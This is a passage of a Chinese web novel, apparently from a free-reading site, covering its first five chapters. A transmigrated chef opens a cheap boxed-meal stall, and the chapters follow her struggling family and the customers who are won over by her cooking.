《奇迹快餐店[美食]》 1. 第 1 章 《奇迹快餐店[美食]》全本免费阅读 弟弟妹妹和奶奶要回老家了,要坐十小时的火车,朱莉想着吃好晚饭再上车。 七点钟的火车,时间蛮紧,就找了个附近的快餐店,名字叫“金帽子快餐”。在原主的记忆里,“金帽子”是华市最有名的快餐店,分店也很多,味道应该不差。 她自己是没吃过,一直在酒店实习,吃住都在酒店,完全用不着去外面花钱买。 “金帽子”的店面装修很有连锁的风格,选餐区与用餐区用屏风隔开,屏风是竖着的淡黄色木条纹结构。 进去后,朱莉和弟弟妹妹奶奶说:“想吃什么拿什么。” 奶奶说:“你们来选,我吃什么都可以。” 钱一花对想吃什么拿什么这件事不知道怎么办才好,她觉得这就等于她在花钱,不,她坚决拒绝,她怎么能花钱呢,她没有想吃的菜,只要就着孙子孙女们点的菜边边角夹点下饭就行。 她问:“莉莉,这里米饭要钱吗?” “要两块钱,奶奶。”朱莉指指收银台边上的大电饭煲,“不够可以免费续饭。” “真是免费的?不用多花钱?” “嗯,不花钱,添多少都可以。” 钱一花听了就放心了,饭能吃饱真是太好了。 待会爸妈下班也要来吃饭,朱莉拿了两个餐盘,她让弟弟也拿两个。 他们排在长队后面,等着队伍缓缓往前移动。 看到了第一个窗口的菜,白斩鸡,酱鸭,两个一份的红烧狮子头,凉拌牛肚,凉拌猪耳朵,价格在十六到二十之间。 朱莉眉头皱成“川”字,白斩鸡和酱鸭的肉质很松散,红烧狮子头放在凉菜区不合适吧,凉拌菜拌出来的颜色也不到位。 朱莉都想走人了,抬头只见前面弟弟妹妹悄悄说着,俩人又想吃又怕贵的,朱莉意识到她现在不能按照自己的标准来看待一道菜,弟妹眼里或许那就是没吃过的很想吃的一道菜。 朱文雯要抬手拿凉拌牛肚丝,被朱文超把手拿下去了,悄悄说:“你没看价格吗?要二十块钱。” 文雯只好脚步缓缓跟着队伍前进,但那不时回头的动作看得出来她真的很想吃,朱莉还注意到文超眼睛也不时瞟到白斩鸡这道菜上。 毕竟还小,他们知道太贵不应该拿,但内心又那么渴望,放缓的脚步和不时回头透露出了太多信息。 排在朱莉他们后边的人“啧”了声,后面的两人就排上去了。 兄妹俩意识到是自己耽误了队伍的进程,就不往回看了,朱莉把两盘白斩鸡和凉拌牛肚丝放到他们餐盘里,“想吃什么就拿。” 第二个长一点的窗口全是荤菜,弟妹手伸出去伸到半空看看价格又缩回来了,朱莉只好再跟他们说一遍:“多拿几个菜,待会爸妈也过来吃,少了不够吃。” 弟妹点点头,文雯先拿了个红烧肉炖鹌鹑蛋到餐盘里,弟弟拿了道红烧大排,两小孩认认真真的在思考要拿什么,或许还在算拿多少菜,拿哪些一家人够吃还便宜。 心里在应该拿的菜和想吃的菜之间来回纠结。 后面人又不耐烦的“啧”了一声,下一秒朱莉就转头对他们说:“你们赶时间往前走。”又转回来放柔声音耐心跟弟妹说:“慢慢选,离台子留一个人的空档,方便后面哥哥姐姐拿菜。” 弟弟妹妹很乖地说了声好,站出来一点。 “超超,红烧大排再拿一份,文雯,糖醋排骨再拿一份,你们不是喜欢吃菠萝古老肉,尖椒酿肉嘛,不拿待会儿路上想吃就吃不到咯。” 文雯文超略微放开手脚拿了,拿了一份虾,肉末豆腐,油炸鸡翅,咖喱鸡块,朱莉补充拿了一条小鲫鱼,剁椒鱼头,油焖笋炒肉,文雯在干锅粉丝这里纠结了一会儿,被文超拍了拍后背才往前走了,朱莉看了下价格,二十一份,替她拿了,接着拿了茭白炒肉丝,炒长豆,酸辣土豆丝,他们这里半荤在八到十二块之间,全素八块。 结账时算上六碗米饭,一共333元。 文超看到价格自言自语,“好贵啊。” 文雯也感叹了句,“这么贵!”只不过她是下意识说出来的,没想着避开人。 三个人五个餐盘,端到奶奶坐的地方。 电话里爸妈说已经下地铁了,在走过来的路上,就决定等他们过来了一起吃,也没几分钟的时间。 文雯和文超都好奇,总是四周看。身边有人端了两杯水他们也好奇的很,看他是从楼梯边那个饮水机接的,他们又盯着那几台机器研究了好久,每个去灌水的人杯子放上去,按下按钮,水就出来了。还有个是饮料机,杯子推进去饮料就出来了,他俩看的着迷,文雯说:“这饮水机和我们学校的不一样。” 朱莉站起来说:“有些渴了,走,我们去倒六杯水过来。” 到了饮水机边,有个穿黑色短袖的二十几岁的男生也要倒水,文超往旁边让了下,让他先倒。 他倒完,弟弟妹妹站到饮水机前,像研究新玩具一样研究起来。 文超把一次性纸杯放到中间凹槽里,上面有三个按键,分别是冷水、温水、热水。文超按了中间的长方形的温水键,他第一次按时很快就放开了,只滴下来一点点水,第二次按就有数了,在水离杯口还有三分之一时松开了,倒第二杯就游刃有余了。 倒完端着两杯水等在一边,文雯已经迫不及待了,她按的冷水键,朱莉倒了一杯温水,一杯稍烫一点的。 不是她大夏天的爱喝烫的,是原主胃不好,喝不了凉的,喝温水也大概率会肚子痛,朱莉只好迁就一下了。 后面有人排队了,倒完水兄妹俩小心翼翼地护着杯中的水回到座位上。 “奶奶你要热一点的还是凉的?” 钱一花说:“凉一点的吧。” 朱莉把手中另一杯给奶奶。 这杯子只有普通一次性杯子的一半,两口就喝完了,文超问:“我再去倒一杯,你去吗?” 文雯喝光最后一个底,“去!” 兄妹俩这回可积极了。 朱莉问:“要喝饮料吗?” 弟妹都摇头。 饮料机上贴着一元一杯,弟弟妹妹都很自觉的不碰饮料机,倒这免费的白开水他们都已经很知足了,玩的不亦乐乎。 这种饮料上面虽然写着可乐雪碧橙汁,但都是用粉末冲泡的,朱莉认为实在不值得喝。 回到位置上,没两分钟就在玻璃门口处看到爸妈进来了,文雯文超激动挥手,示意位置在这里。 朱莉见爸妈穿的都不是在工地上干活的衣服,应该是下班在工地上换好才过来的吧。 朱莉把包放地上给爸妈腾位置。 看上去五个餐盘菜很多,实际上每个餐盘里的菜如果放开了夹,两筷子就没了。 朱春华和刘敏秀与所有传统认知里的家长一样,孩子爱吃的菜都不碰,数的清块数的都不碰,夹些最普通的,凉拌猪肚丝吃的是芹菜和青椒丝,红烧肉也不吃吃鹌鹑蛋,朱春华给自己老妈夹了两块肉,“妈,你吃,别省。” 钱一花吃的最多的是酸辣土豆丝和蒜瓣炒长豆。 “酸辣土豆丝好吃。”她说。 “你炒的软,他们这炒的脆。” 刘敏秀太热了吃不下去,而且马上又要和孩子们分开,难受又不好表现出来,只好不停喝水。 文超见妈妈水杯里空了立马放下筷子站起来,“妈妈我给你去倒水。” “你坐下吃饭,我去。” “我去,很快的。” 刘敏秀看着儿子瘦瘦的背影,她不敢多看就转回来了,越看越不舍得,哭出来就不好了。 文超倒好水回来,他说:“妈妈,我倒的是温水,你可以马上喝,不烫的。” 刘敏秀手用力的抚摸着儿子的脑袋,后脖颈,给他擦掉额头上的汗,“儿子真是长大了。” “那个饮水机有三个按键,冷水,温水和热水,我想你现在很渴,热水一下子喝不上,冷水太凉了。” “这温度妈妈喝着正好。” 文雯翘起小嘴巴,“我本来也想给妈妈去倒水的,被超超抢先了。” 刘敏秀另一只手也去摸女儿的脑袋,侧过去抱抱她,“我女儿也懂事,妈妈知道你的心意。” 朱春华吃醋,“都没有想到给我倒水的。” 文雯举手跳起来,“我去!” 一家人吃饭说说笑笑,不够塞牙缝的菜你让让我,我让让你。 朱莉暂时忘了挑这些菜的毛病。 菜量少,那就只能吃个饭饱。 这个碗比平时家里吃的要小些,文超一碗饭最先吃完,他看看柱子旁边盛饭的地方,确定了是免费续饭才站起来的,见奶奶也快吃完了,坐下来,“奶奶,你吃完了我一起去盛。” “奶奶跟你一起去。”钱一花很快把最后一口饭吃掉。 钱一花虽然对周围的环境从老家踏上来的火车到现在都一直拘着,她不识字,就怕磕到碰到别人要花钱了,但盛饭这么简单的事情总归是会的,这里免费续饭,她自己去盛饭这件事总归是可以做到的。 朱文超带着奶奶到盛饭的圆桶这里,钱一花问他:“哪里写着免费续饭呀?” 文超给她指贴在大圆桶上的长条的四个红底黑字,一字一顿地说:“免,费,续,饭。” 钱一花很认真地看着,停留了几秒,想要记住。 圆桶是合上的,钱一花看了圆桶一周也没看到什么开关,就看到面上合口处一个黑色塑料的东西,手掀掀不动,往下按,诶,盖子自己弹起来了。她马上想到了家里的电饭煲,电饭煲也是柄上按钮一按就打开了。她觉得稀奇,又合上打开了一 2. 第 2 章 《奇迹快餐店[美食]》全本免费阅读 市中心开店租金太高,朱莉现在负担不起。 她的快餐店从定价和定位人群都和“金帽子”不同,没必要开到市中心为难自己。 F区不算市中心,地铁线路的倒数第五个站,不管是房租还是房价都比市中心便宜,外来人口很多。交通方便,区域设施齐全,商场超市写字楼医院,各种店铺都有。 交完辞职信,搬出酒店宿舍,朱莉给了一家小超市四十块钱寄存行李箱,满F区找合适的店铺。 她手上有五万块钱,是原主高中毕业就开始勤工俭学存下来的,打算租个店面,很小很小的也行,只要能做菜。最后找了福安商场一楼的铺子,准确来说只是一个厨房。 商场一楼有个入口进去都是外卖厨房,路过只能看到黑漆漆的过道看不到门面,朱莉租的是最外面门面朝外的一家,一月贵了五百。至少望进去不是阴恻恻的,路过的人能看得见门面和里面厨房。厨房设备齐全,倒不需要朱莉再额外添置了。一月租金四千,半年一付。 再往里坐几站地铁房租更便宜,但人就少了,开快餐店还是要人热闹一点的地方。 这已经用去了存款的大头,住的房子就在附近公寓找了一间。房子是个复式隔间,十四平米,没有床有一张榻榻米,独卫没厨房,门单独有密码锁。 楼下同样住了个女生,朱莉扛着行李进去时,她特别热情的要帮忙抬行李,说:“还好住进来的是女生。”简单聊了下后,朱莉知道她九月份要去读研,现在也没什么事,就等着开学。 她还问朱莉是做什么工作的,“在对面商场租了个厨房,卖快餐。”朱莉说。 “好厉害!” 女孩如果没工作过两年,她会有些瞧不起卖快餐的,或任何在外面摆摊的人,谁让他们学历低,书读不出。但工作的两年让她明白,所有工作都只不过是一份工作而已,除非是一些高科技没法替代的,工资会高些。 大家都不过为了赚钱,卖快餐和贴梅干菜大饼都可能比坐办公楼赚钱。她还特佩服真正选择干这些的,“你原来做过快餐吗?”她又问。 “类似的做过。” 女孩拍拍朱莉肩膀,“靠谱!我叫蔡玲雅,你呢?” “朱莉。”朱莉抿嘴笑了下,嘴巴弯成一条大圆弧,眼睛也笑眯成两条圆弧,只剩下条缝了。 小蔡忍不住笑,“我觉得你像两个明星的结合体。” 朱莉笑说:“是不是很有特色?”从小见到她的人都要对她的长相品评下,不是好看,而是好笑。活脱脱三条圆弧的微笑表情包。这点她看得很开,还要感谢她把明星扯上呢。 “嗯!” 这些决定朱莉都没有和爸妈说,说了只有担心,他们还是以为她在酒店实习。 朱莉虽与现在的爸妈相处时间不长,但她已经融合了原主全部记忆,对爸妈还是了解点的。他们兢兢业业开养鸡场,忍受鸡窝的臭气熏天,一直信奉不惹事,多一事不如少一事的处事原则,甚至还有些怕事。 骨子里坏的人就喜欢挑这样的人欺负。所以养鸡场倒闭了,还欠了不少钱。又由于这件事情的失败,爸妈更加信奉多一事不如少一事。朱莉要跟他们说了自己从金碧辉煌的五星级酒店辞职的事,他们还不得担心的好几天都睡不着觉。 做快餐不是简单的做好拿出去卖就行了,哪些菜适合做快餐,做好去哪里卖,卖多少钱合适,都要提前考虑好。 确定好房子和厨房,朱莉花了十天时间做准备,申请厨房经营许可证,流动摊贩经营许可证。等待的时间里,她在剩下的存款里拨了两千块钱出来,把整个华市大大小小的街道都逛了个遍,主要是看有多少连锁快餐店和个体经营的快餐店。 连锁快餐店有七家,除了“金帽子”之外,其他连锁门店都不多。算上在市中心的“金帽子”总店,朱莉另外挑了八家,其他连锁门店她也每家都挑了三家进去尝过,个体经营的快餐店一般都分布在小街道里,朱莉也是顺眼的都进去尝一尝。 她尝最多的是红烧肉,糖醋排骨,鱼香肉丝,酸辣土豆丝,几乎每一家快餐店都有这几道菜。 十天下来,朱莉把这些快餐店都摸了个透。另外F区中午和晚上哪几个地方人流量大也搞清楚了,两张经营许可证也都下来了。朱莉还需要三天时间,全身心浸在厨房里,把每道菜的口味都调整到最满意程度。 她不打算直接开通网上外卖,她的目标远远不止做做外卖生意而已。攒够了钱就开家快餐店,前期得出去了解市场,和顾客面对面交流,同时也可以做下宣传。 七月二十二号买二手三轮车,五个放菜的不锈钢圆桶,一次性餐盒和筷子,以及一个闪闪发亮的写字板,七月二十三号,再最后练习一遍红烧肉、啤酒鸭,鱼香茄子,酸辣土豆丝,和炒青菜。 快餐店经典菜式糖醋排骨换成啤酒鸭。糖醋排骨和红烧肉都是猪肉,顾客连选择余地都没有。 一块块切成三厘米见方的红烧肉出锅,肥肉部分晶莹透亮,红棕色的酱汁都泛着一股油亮,朱莉把盘子放到桌上时,都能看到肥肉部分轻微的晃动。 这时的肥肉才是真的软糯,入口即化。 正好一口一块的大小,朱莉自己吃着都想给自己竖大拇指。红烧汁浓稠,瘦肉部分都入味了,甜味调出了鲜味,更使口中的肉回味无穷。 啤酒鸭咸香中还有一股小麦发酵味,鸭肉劲道咸香,越嚼越香。 鱼香茄子酸辣甜咸四个味道都在一口中尽现,谁也没有夺了谁的位置。朱莉放了肉末进去,油炸过的肉末酥香焦脆,使得茄子的口感更丰富。 每个菜终于到达了朱莉的要求。 朱莉一个人吃不完,这三天每天都给小蔡带一份盒饭,小蔡会敲门回送她半个西瓜。 小蔡高兴的开门都是蹦出来的,“朱莉,今天又带什么好吃的啦?” “还是红烧肉、啤酒鸭、鱼香茄子和酸辣土豆丝。”朱莉递给她。 小蔡双手接过,“没关系没关系,你烧的菜太好吃了,再多吃一个月我都不会厌的。”小蔡还十分抱歉地说:“可惜我在华市没什么认识的人,要不然一定帮你宣传。等我开学认识新同学了,一定介绍他们来买你的盒饭。” “那先谢谢你啦。” 两人聊了几句就进自己房间了。小蔡把平板架好,她以前习惯边吃饭边看下饭综艺,现在爱看美食博主吃东西,因为她觉得她面前的比他们的更好吃。 人家美食博主吃红烧肉用筷子串成串串吃,她也串,再把浓稠的红烧汁淋到上面,红烧汁沿着肉的边缘缓缓淌下,吃一口,太入味了,甜咸香的肥肉在嘴里爆开,完全不担心过于油腻,瘦肉马上就来解救啦。 博主把红烧肉放在饭上,用勺子捣散拌饭,她也这么做,肥肉消散于粒粒米饭间,瘦肉丰富了米饭口感,一勺接一勺完全不够吃。 啤酒鸭她爱当零嘴,留到最后。 剩下一半饭要留给鱼香茄子和酸辣土豆丝。酸甜咸辣四个口味你争我抢,拌在饭里却毫不违和,一盒饭一粒米都剩不下来。 回想起闭关备考的那段时间,每天要是能吃到这么好吃的饭,状态都能好很多,也不会隔三岔五因为情绪压力哭一次了。 七月二十四,宜开张,朱莉六点就去菜场拿了前一天预定的菜。 前几天练习烧菜,猪肉天天都在这个摊位上买,肉摊老板脸都认熟了。 肉摊老板把袋口捻好方便她拎着:“那祝你生意兴隆,以后猪肉就到我这来订,我这里的猪都是正宗的土猪肉。” 这时肉摊老板这边暂时没生意,他闲来望着站在不远处摊位的这姑娘,说实话,在他这儿来买猪肉说做生意的人实在太多了,但做成长久生意的实在少,饭店哪有那么好开,来买的猪肉一次比一次少,问他们买这么少够嘛? 人家摇头加甩手:“这年头生意不好做,店开不下去了。” 但是他觉得,这姑娘开得成,做了二十几年肉摊生意的直觉吧。 朱莉能在二十五岁就做到顶级厨师,那是她从四岁起就没睡过懒觉换来的,师父在她三岁时收养她的,那年,师父四十三岁,是星球泰斗级厨神,因为一生钻研厨艺,年轻时完全没心思在谈情说爱上,等到岁数大了又已经看穿了世间男人的面孔,觉得此生不结一个人过反而更轻省,所以就收养了她。 师父每天在酒店做什么都把她带着,她就跟个小跟班一样。小小的身体,大人不低头看,都注意不到她这个人。第一次在后厨切菜时还要搬个小板凳才能够到。 当她拿着把比她的小手还要大好几倍的菜刀时,旁边那些比她大十几二十岁的哥哥们都怕她切到手,“师妹啊,拿得动刀嘛,小心切到手。” “师姐,待会儿我把切好的匀你一部分。你就在这儿随便溜溜玩就行。” 那时候的朱莉才五岁,她做好切菜的手势偏转脸来,童声童气地吼他:“我可是你师姐!” 这位比她大 3. 第 3 章 《奇迹快餐店[美食]》全本免费阅读 陈佳乐拎着盒饭坐电梯进了706——春雨自习室。 她是大专毕业,毕业就在一家药厂做仓库检验员。每天的工作就是把三百多平仓库里的装药的箱子挑三箱打开,再从这打开的三箱里每箱挑三盒把包装拆开,其实就是抽样检查,看药品包装有没有坏。 每天就是三大集装箱运进来,检查好叉车一批批运出去入库。 她进厂两年多,每天八点上班,五点下班,中午一个半小时休息,其余时间都在仓库爬上爬下拆箱子,中间连坐下来的时间都没有,手腕硬是长出了积水。 在第二年里,陈佳乐迷上了看书,她中午在食堂匆匆解决后就抱着本书到休息室看。他们这些药厂工人都在大休息室,人多,陈佳乐一般都坐在休息室最后排最里边的座位上。 但这真不是个看书的好地方,人家休息就是想放松,你搁这儿看书我们是大声说话还是不大声说话呢?后来又有一组工人分配到这个休息室。几个二三十岁的男生,见了陈佳乐在那儿看书,很大声地说:“你这么认真怎么没考上大学?装什么装,老子最烦的就是拿着本书装逼的人,影响心情。” 这男的声音一出,休息室瞬时安静了会儿,陈佳乐对这件事没话说,吵起来她自己都觉得很难听,吵都没内容来吵,她一言不发拿着书出了休息室。休息室又恢复了说话声。 自那之后的一星期里,陈佳乐到药厂外找能够看书又不被人看到的地方,周五时,手机上看到了春雨自习室的宣传,离她的药厂有两个公交站的距离。 周五晚上下班后,她就想去自习室看看,这一去,好像有什么深深吸引住了她。在这个人人低头看书做题,连呼吸声都听不到的自习室里,她找到了巨大的安全感和自由,面前这张配备了台灯的小方桌有天地那么大。 陈佳乐书拿出来看,那些文字又把她带到了另一个世界,不知不觉看到了晚上八点半,再晚走十分钟就赶不上回家的末班车了。 之后的上班日,陈佳乐每天骑共享单车骑十五分钟到自习室,待一个小时再骑自行车飞快赶回去,午休的一个半小时时间非常紧张。累是累,但那一小时对她来说很重要,已经重要到,没有这一小时一整天都压抑到不能呼吸的地步。 就这样过了两个月,转眼时间到了四月,对书的饥渴总算缓了点,她抬眼看看周围,四周人都在埋头做题,有考研的,有考会计师证的,还有考各种编制公务员的。 陈佳乐对后者没有任何想法,那些她这个大专生连门槛都够不到,但是连着好几天,“考研”两个字一直萦绕在她脑海里。 她的专业当年有几个专升本的,考的都是药学,陈佳乐看她们在朋友圈里发的穿着白大褂在实验室的照片很是羡慕。她现在考本科不可能,但是以前有听过,好像专科毕业三年后可以考研。 这对于陈佳乐来说,离自己很遥远,完全是陌生词汇,也就是记了一耳朵。 有天在看完了带的书后,离自习室结束时间还有一个多小时,提早走花的钱就亏了。陈佳乐点开手机搜了下专科能否考研的事,搜出来的结果是可以,确实是三年后就可以考研了,不过要多一个同等学历加试。 网上搜了一星期的经验贴,陈佳乐看到了一个同样是大专的,顺利考上了黎市中医药大学。陈佳乐那时的心跳特别快,她想试试,现在的生活实在过不下去,她不想一辈子搬箱子拆箱子。 陈佳乐的目标就是黎市中医药大学,网上下单了所有教材和参考书,两天后书都到了。终于,她也是考研备考大军的一员了。 中午的一小时从看书换成了复习,这一小时她只有四十分钟是能坐上座位复习的,由于没有时间吃饭,她每天都是坐用餐区啃馒头或面包,一边啃一边背单词。 她今天上午一刻没停过,肚子很饿很饿,看到这快餐车就不想吃包里的玉米馒头和青菜包了,想破费下犒劳自己。 盒饭拎到自习室的用餐区,还剩下一个座位,正好坐下吃了。 她迫不及待打开盒饭,也不顾及形象了,下面那盒饭还没打开就夹了块鸭肉进嘴里。 这一口,鸭肉出人意料的紧实和入味。 闻上去有啤酒的发酵香,吃起来却没有酒的苦味,裹着的汤汁鲜得很。 吃了就停不下来,鸭肉越嚼越香,香到骨头都可以抿一抿。陈佳乐中午没多少吃饭时间,她吃的急,牙齿被骨头硌到,吞咽又差点把骨头咽下去。 她深吸一口气,好吧,今天给自己多五分钟吃饭时间。 炒青菜脆脆的,一咬里面清甜的汁水就爆出来。 陈佳乐又想起他们食堂每天中午的菜,鸭肉也经常吃,也不叫什么啤酒鸭,加了酱油的就叫红烧鸭肉吧,那鸭肉完全没有这种光泽,汤汁像泥水,鸭肉也特别松散,好像暂时装在骨头上的。陈佳乐猜测食堂的鸭肉应该是大批量冷冻买批来的。 食堂的炒青菜也是软趴趴颜色偏黄的。 她甚至吃到过过期的豆腐,厂里的人都对这食堂已经到了心如止水的地步,少数人自己带饭,多数人在那儿吃只是为了填下肚子。干体力活中饭不吃,下午要饿晕的。 陈佳乐专心致志的一口又一口往她饥饿的肚里塞。 鲜辣的汤汁应该配馒头,包里正好有玉米馒头,再巧不过了。她拿出馒头掰了一大块往汤汁里蘸,这一口,结结实实的满足。 狭小的用餐区域,还有两个也是在吃中饭的,一个男生见她吃的量多的都惊呆了,坐中间的女生点的是份炒饭,越看越馋,自己的吃着味同嚼蜡。 陈佳乐突然被拍了拍肩膀,实际女孩已经拍了她两下,只不过陈佳乐没反应,感觉到有人拍她后抬头都有些懵,嘴里还嚼着馒头。 女孩是来灌水的,见她吃得香,自己又想不好点啥外卖,就想问下她是哪家的。 这一问正中隔壁吃炒饭女生的下怀,她也一直想问的,就是不好意思。 陈佳乐把馒头咽下去,说:“就在楼下,出入口那里,一个女生在那卖快餐。” 她头凑过来一点问:“好吃吗?” 陈佳乐狠狠点头,并竖大拇指,“超级好吃。” 女孩拧紧自己的水杯盖放在用餐区,说:“我也去买一份。”说着,她就推开了玻璃门。 陈佳乐往嘴里塞完最后一块馒头,就回了预定的座位,今天要在这里做完一篇阅读和一道长难句,吃得尤其满足,胃舒服了,做题也格外投入,阅读只错了一个。 女孩满 4. 第 4 章 《奇迹快餐店[美食]》全本免费阅读 朱莉坐在塑料凳子上,三轮车扶手上放着一把USB充电的小电风扇,手肘就撑在扶手上。她在观察这个点路边路过多少人,但在这五个人看来就有种悠哉游哉的感觉了。 一定是经济窘迫的人才会骑着三轮车出来卖快餐啊,但凡有点钱开个店不好吗,那应该是一种连后脑勺都透着贫穷和焦虑的感觉才对。 待单雨晨看到摊位老板的长相时,她想噗嗤笑出来,长得真喜庆,而且和这块可爱的粉色招牌有种违和的匹配感。 各自喜庆各自的,单看一点不搭,合起来看既违和又匹配的。 牌子上写了价格,荤菜也才六块,太便宜了吧。她不知道菜场的价格,但外面饭店里的一道红烧肉至少一百六十八。 “老板,让我们看下菜。”单雨晨问。 “好嘞。” 朱莉掀开五个圆筒的盖子,哇,单雨晨眼睛都瞪大了,不敢说色香味俱全吧,因为还没尝过,但色和香保证有,荤菜闪着油亮的光芒,红烧肉上面的肥肉肉眼看都觉得油亮剔透的可爱。这块红烧肉一定肥而不腻,好像已经吃到了一样。 啤酒鸭真想上手了,外面卖的卤味都没这个看着让她有想啃的冲动。 婷婷更喜欢吃素,这青菜碧绿清翠,她都能想象到菜杆子的清爽多汁了。梅干菜炒土豆片她没吃过,一定要尝尝,梅干菜炒什么都好吃的。 这鱼香肉丝让艾伦想起了大学食堂的菜,离开大学就再没吃到过这道菜,这都三年了,实在怀念啊,这个色泽看着就很下饭,他要拌在米饭上吃。 现在不是抱着随便看看的想法了,大家都默契地决定就在这儿买了。 单雨晨说:“老板,每个菜我都要。” 这么便宜都不用费心选,全部都要。待老板拿出一个大号的一次性餐盒,满满一勺相当爽快地盛到盒里时,单雨晨都在帮老板算计利润了,这么多会不会亏本啊? 大号饭盒都盛满了。 再拿上一盒饭装进袋子里,朱莉递给她:“一共二十四元。” “好。”这么多才二十四元,他们中午饭补都要二十五呢,单雨晨付着是一点不心痛。接到手里,沉甸甸的重要,她还在想,到底亏不亏钱啊?可别为了销量赔本卖啊。 婷婷不爱吃肉,她就点了一个荤菜啤酒鸭,其他都点了。 三个男生饭量大,想都不用想,自然是五个菜都要。 走的时候单雨晨特地问,“明天还来摆吗?” “还来的,十一点三十过来。” 一人拎着盒饭不会引起多少人关注,五人就够吸引人目光了,从外卖柜里拿出自己的外卖,一盒人家这透明塑料袋里的两个一次性饭盒相比,显得分量小了不少。 有不少人都挺想中午吃顿正常的饭的,买各种小吃都是无奈之举。一男生就问了一拎盒饭的男的,“你们这盒饭哪买的?“ 艾伦热心地停下向他指指外面的三轮车摊位,“就那里,菜看着很不错,量也很多而且便宜。我也是第一次买,不过看着就好吃。” 这么一说,手里的没多少份量的外卖盒子一下就更不香了,真想马上就去买盒盒饭来尝尝,可是外卖也花钱买了的呀。 艾伦仿佛看穿了他的心思,说:“你明天可以尝尝,明天她还来的。” 几句话下来,虽说之前完全不认识,一起等电梯的功夫已经聊到各自工作了。 中午电梯最忙,下来的这一波满到再也加不了一个人,电梯门一打开鱼贯而出,终于松口气,又一波人上去了。 出来的这波人注意到好几个拎着同样的盒饭,转头再要仔细看时人家已进电梯了。 看着不是外卖,里面的菜看着还挺不错的,但是已经叫好外卖了。里面有四个人两个男生两个女生,他们是自习室的,用餐区的饭菜香都飘到学习区来了,正好中午不知道吃什么。 王德良是白酒销售公司的老总,他公司小,很多业务都是自己跑,下午还要去见客户。他没有小年轻的习惯,不大能接受外卖,宁可中午开车出去外面吃碗面。 车子开到外面,车屁股还没出出口呢,王德良看到了旁边的快餐摊子。盒饭是个好东西啊,想当年年轻的时候,还没这家公司呢,他在外跑业务大多数中饭晚饭都是在路边摊子上解决的。 当时这种快餐摊子比现在可多,大家都是站路边直接就吃了,哗啦哗啦扒几口,接着去工作。一想起这个就特别怀念当年的把子肉,肥肉糯的跟橡皮糖似的,让老板再往饭上浇一勺肉汤,别提多香了。 王德良不带迟疑的右转把车子停在路边。 一下车才注意到卖快餐的是个小姑娘,突然有些后悔了,以前卖快餐的要么是中年夫妻一起,要么是老大爷大娘,小姑娘做的都是新式口味了,像他女儿就发明什么葡萄炒肉,味道怪的想给个面子都没办法逼自己咽下去。王德良步伐迟疑了下,还是走了上去。 不好吃下次不买就是,小姑娘这么小年纪摆摊也不容易。 菜的样子倒不错,啤酒鸭炒的挺像那么回事,放了青红椒,不像应付的,红烧肉色泽也挺亮的,“五个菜都来一份。” “好的。”朱莉抽出一个大号的一次性饭盒。 小姑娘份量给的实在,王德良接过袋子回到车里,回公司吃麻烦,他还不如在车里快速解决完呢。他把车子往前开了两百米找到个停车位。退出驾驶模式,驾驶座往后移 5. 第 5 章 《奇迹快餐店[美食]》全本免费阅读 一个个都面无表情,低着头,有些从她的三轮车前经过,有些瞥了眼继续看手机。但朱莉也没有等多久,就有人停下来买盒饭了。 这路过的人实在太多了,有一个就有两个,有两个就有三个……排的人多了,吸引了低头看手机的人注意,想起晚饭还没着落。 今天是高朗实习第五个月,在一家律所,压力非常大,都爆了一脸痘痘。 他毕业的院校不是法律界的“五院四系”,能在华市找到一家律所实习很不容易,要是这最后一个月过不了,他都没把握自己能否留在华市。回到家律师工作好找,但不甘心啊。 为这事愁的,每天睡觉都在做各种各样被辞退的噩梦,吃饭也没食欲,仅是维持基本的生存能量罢了。不吃不行,饿坏了,工作更没力气干。 所以对他来说,吃什么都一样,既然路边有卖的,就在路边买了,回去吃完继续干案子。 “要一份鱼香茄子和炒青菜。” “八块。” 手机付款时都不敢相信,“这么便宜?” 朱莉指着牌子给他看,“鱼香茄子四元,炒青菜两元。” 他刚才都没注意到这牌子,这可比公司附近物价低不少。公司附近外卖就没有低于二十的,便利店最便宜的一份饭要十七,那米饭软的都黏在一起了,口感实在不好。 地铁口又涌出一群人来,走着走着就前前后后分成了几波人,每波人中总会有那么一两个停下来排队。虽也就十人左右,但天气太热谁也不想和前面人排得太近,队伍看上去也就蛮长了。大家都很自觉地贴着绿化带边排,不影响人走路。 周小惠都走过了,听到老板声音又返回去排队了。 她这一天在办公室实在太憋屈了,忽的听到老板热情又充满活力的声音,她是被这声音吸引的。有个她觉得非常难以启齿的念头,她只想老板对她也这么说两句话。 她排在队伍里,看着老板利索地盛菜打包,感慨这才是生活的力量。 “我要啤酒鸭,鱼香肉丝和炒青菜。” “好嘞,一共十四块。” “之前没看到过你在这里摆摊。” “对,今天是第一天,我白天在莱夏大厦那里卖。” “离这里挺近的,那以后每天都来吗?” “近期会。”朱莉看着长长的队伍,笑了下,“这里人多。” “你卖的好便宜,不会亏本吗?” “不亏本,每份赚得少,但走量,人多就有得赚。” 朱莉看着量不够了,只好对后面排着的六个人说抱歉。闻言,四人视线短暂离开手机屏幕,抬头看了眼便走了,但前面面两人是真想吃啊。 他们想吃饭,租的房子没有厨房,晚餐只能在外面买,真的不想再吃麻辣烫包子这些了,就想吃有菜有肉的饭!这个摊上荤菜素菜都卖的便宜,上哪去找这样的摊去。 他甚至可以不在乎这些菜好不好吃,卫不卫生,只要是有菜有肉的饭且价格便宜! “老板,你明天几点钟在这里摆?” “五点四十。” “那我明天尽量早点赶来,你也多准备些,这地方路过的人多,不愁卖的。” “欸好,我明天会多准备些的。” 他还要去想待会儿吃什么,相比之下,买到的就不用考虑了,至少眼前这一餐解决了。 高朗回到出租屋,他和人合租,租的是三室一厅中最小的卧室,除了卧室那十平米外都是公共空间。大家关系都挺淡泊的,能不说话就不说话。高朗换了鞋就直接进自己房间了。 卧室有一张床,一张小型书桌,高朗累极了,书包都懒得拿下就趴到了床上,呼吸声很重,五分钟过后,他爬起来吃饭了。 盒饭一打开,鱼香茄子浓郁的香味就直钻鼻腔,看着颜色是很诱人,但也仅此而已,高朗的肚子还是没有饿的知觉和吃的欲望。为了身体,不想吃也得吃。 清淡的青菜先缓冲下,担心一下子吃油的肠胃不舒服。 这一口想象不到的清香和爽脆的口感,令他稍稍来了精神,弯着的背都挺直了些。青菜都这么好吃,那鱼香茄子一定也很不错了。 他夹了一筷子,裹着红油的香软的茄子和酥香的肉粒似乎具有神奇的魔力,把他食欲的闸门啪一下打开了。鱼香茄子与米饭最配,几大口下去,“哇,我活了,太好吃了。”他一个人对着空气说话。 饭多菜少,只能把剩下的饭全部扣到盛菜的盒子里,和汤汁拌在一起吃,最后吃得干干净净。 明天一定要多点两个菜,不,明天每个菜都试下,反正也不贵。 